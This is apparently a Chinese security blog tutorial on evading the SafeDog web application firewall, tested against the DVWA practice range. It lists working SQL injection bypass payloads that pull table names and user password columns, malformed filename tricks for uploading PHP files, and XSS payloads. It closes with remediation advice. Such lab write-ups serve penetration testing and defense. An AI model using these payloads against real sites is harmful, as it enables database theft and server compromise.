• 绕过WAF进行常见Web漏洞利用


    前言

    本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法。

    PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任

    PPS:本文首发于freebuf (https://www.freebuf.com/articles/web/254513.html )

    测试环境

    PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)

    1605062263_5fab4e776a2e27de3ad6b.png!small?1605062263492

    1605062267_5fab4e7ba544d61d10e26.png!small?1605062267707

    靶场使用DVWA:http://www.dvwa.co.uk/

    SQL注入

    判断是否存在注入

    方法一

    and 1=1被拦截

    1605062279_5fab4e87e85d4a8d50e53.png!small?1605062280011

    单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。

    1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替

    1605062283_5fab4e8b5bf14e00693e4.png!small?1605062283390

    但是依然会被拦截。不过and也可以用 && 代替。

    我们构造1' && True --+ 就可绕过

    1605062287_5fab4e8febe02e9c9a1c1.png!small?1605062287984

    1' && False --+

    1605062291_5fab4e93e539d2de7dd1f.png!small?1605062291955

    方法二

    将and 后面的数字或者字符表达式加几个内联注释也可以绕过。

    内联注释:/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行

    如:    1' and /*!1*/=/*!1*/ --+

    1605062301_5fab4e9d0e7b4d4ca1822.png!small?1605062301063

    1' and /*!1*/=/*!2*/ --+

    1605062304_5fab4ea0727303096bd0b.png!small?1605062304500

    方法三  分块传输

    分块传输的原理请自行检索,这里不再赘述。

    分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

    1605062308_5fab4ea4b130b2c0d7e1d.png!small?1605062308775

    正常写测试payload :    1' and 1=1 --+

    1605062312_5fab4ea8e4936f3dc9337.png!small?1605062313038

    将请求方式改为POST,然后进行分块传输编码

    1605062316_5fab4eac6aaa7c207f667.png!small?1605062316445

    1605062319_5fab4eafd341797e79deb.png!small?1605062319868

    可以看到,没有被拦截。

    1' and 1=2 --+

    1605062323_5fab4eb3d70805315e53d.png!small?1605062323901

    猜解字段数

    方法一

    order by被拦截

    1605062327_5fab4eb7914310263f563.png!small?1605062327562

    单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。

    可以将 1' order /*$xxx$*/ by 1 --+  放burp里跑各种垃圾参数字典来爆破。

    经过测试,1' order/*%%!asd%%%%*/by 3 --+可以成功过狗

    1605062331_5fab4ebb95b9a30e5bdb8.png!small?1605062331590

    通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)

    1' /*!order/*!/*/**/by*/ 3 --+

    1605062334_5fab4ebebe6bbf38e4496.png!small?1605062334851

    方法二 分块传输

    1' order by 3 --+

    1605062347_5fab4ecb3d161bc044b05.png!small?1605062347576

    1605062351_5fab4ecfa1ca7d99fcaed.png!small?1605062351635

    获取当前数据库

    方法一

    1' union select 1,database() --+ 被拦截

    分开测试  union select 会被拦截

    1605062381_5fab4eeddcec384413738.png!small?1605062381888

    database() 也会被拦截

    1605062386_5fab4ef21f9b884e335c6.png!small?1605062386137

    先绕过union select:

    和之前order by的绕过方法一样

    1' union/*%%!asd%%%%*/select 1,2 --+

    1605062390_5fab4ef611bf3950f1022.png!small?1605062390096

    再绕过database():

    经过测试,我们发现单独的database不会被拦截,加了括号就会了

    我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过

    1605062394_5fab4efa1500026d51b51.png!small?1605062394065

    拼接一下,最终的payload为:

    1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+

    1605062398_5fab4efe89e4d7e020b16.png!small?1605062398600

    方法二 分块传输

    分块传输依然可以

    1' union select 1,database() --+

    1605062416_5fab4f108b6977506b12d.png!small?1605062416596

    1605062420_5fab4f14203faf76fe495.png!small?1605062421493

    获取数据库中的表

    方法一

    正常注入语句:

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

    根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成/*%%!asd%%%%*/即可。

    Payload:

    1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

    1605062431_5fab4f1f7662ae6ff37d6.png!small?1605062431530

    方法二 分块传输

    1605062436_5fab4f242e9aeeb8a8ce6.png!small?1605062436172

    1605062440_5fab4f286dae49ce25a3d.png!small?1605062440480

    获取表中的字段名

    方法一

    正常注入语句:

    1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+

    绕过方法和获取表的操作无异:

    1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+

    1605062445_5fab4f2d4d1e86c1c2798.png!small?1605062445337

    方法二 分块传输

    1605062450_5fab4f32baebed79c19c5.png!small?1605062450816

    1605062453_5fab4f35cdfdc1ec5f6ad.png!small?1605062453826

    获取数据

    方法一

    正常注入语句:

    1' union select group_concat(user),group_concat(password) from users --+

    绕过方法还是一样:

    1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+

    1605062458_5fab4f3a47e7e9be532c4.png!small?1605062458299

    方法二 分块传输

    1605062462_5fab4f3e8b231ff50ec7b.png!small?1605062462623

    1605062474_5fab4f4a6232ed3b2b539.png!small?1605062474396

    文件上传

    安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。

    1605062477_5fab4f4d89941af72ff83.png!small?1605062477534

    我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。

    获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方

    1605062481_5fab4f51e80b7da4efcd9.png!small?1605062481960

    直接上传PHP文件会被拦截

    1605062486_5fab4f560b9bd7261ce56.png!small?16050624860921605062488_5fab4f58a2256a0b0ea7e.png!small?1605062488707

    绕过方法1

    将filename=”hhh.php” 改为filename=hhh.php; 即可绕过

    1605062493_5fab4f5d88d7cc749fa3b.png!small?1605062493621

    1605062499_5fab4f63686ec8e9d5878.png!small?1605062499432

    绕过方法2

    各种换行,主要是要把点号和字符串”php”分开

    1605062504_5fab4f6801098e061f3e6.png!small?1605062503973

    绕过方法3

    将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)

    1605062525_5fab4f7d9fda7ad21f504.png!small?1605062525633

    绕过方法4

    文件名之间放置分号 filename=”hh;h.php”

    1605062531_5fab4f8387a7322c99d73.png!small?1605062531660

    绕过方法5

    多个filename=”hhh.txt”,最后一个filename=”hhh.php”

    1605062535_5fab4f87037dca4618398.png!small?1605062535007

    XSS

    查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。

    1605062538_5fab4f8ac369ca8c564ee.png!small?1605062538885

    有很多标签可以绕过,这里举例两种:

    (1) <audio> 标签定义声音,比如音乐或其他音频流。

    <audio src=1 onerror=alert(/xss/);>

    <audio src=1 onerror=prompt('xss');>

    1605062543_5fab4f8f186d86ca0ee15.png!small?1605062543093

    (2) <object> 标签,data属性

    alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

    payload:

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

    1605062555_5fab4f9b4a226e141a0ec.png!small?1605062555320

    文件包含

    1605062567_5fab4fa7b37036f1b43fe.png!small?1605062567731

    通过绝对路径、相对路径,稍微加些混淆就能绕过...

    1605062571_5fab4fab5c87eb4aafb1e.png!small?1605062571534

    修复建议

    我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:

    SQL注入

    使用预编译sql语句查询和绑定变量:使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

    对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。

    文件上传

    文件上传的目录设置为不可执行:只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际的上传应用中,可以将文件上传后放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。

    使用随机数改写文件名和文件路径

    上传文件时,服务端采用白名单形式限制文件上传的后缀名称,只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。

    XSS

    对用户输入的参数中的特殊字符进行HTML转义或者编码,防止出现有意义的HTML、CSS、JavaScript代码,如:“’、”、<、>、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义,也可以在单点对字符串类型数据进行编码或者转义。

  • 相关阅读:
    企业如何解决员工采用中遇到的双因素认证问题?
    如何实现云上的 RADIUS 认证服务?
    基于云的 LDAP 目录服务和本地 LDAP 相比有哪些优势?
    微软 Office 365 如何对接 LDAP 等目录服务?
    RADIUS 如何提高 WiFi 无线网络安全性?
    多因素身份认证之手机推送认证
    如何实现基于 SaaS 的多租户多因素认证(MFA)?
    云身份目录如何优化LDAP目录服务器的用户管理功能?
    RADIUS 认证日志记录实现企业网络合规
    《暴走 IT》第1话:来了个新同事
  • 原文地址:https://www.cnblogs.com/yokan/p/14168810.html
Copyright © 2020-2023  润新知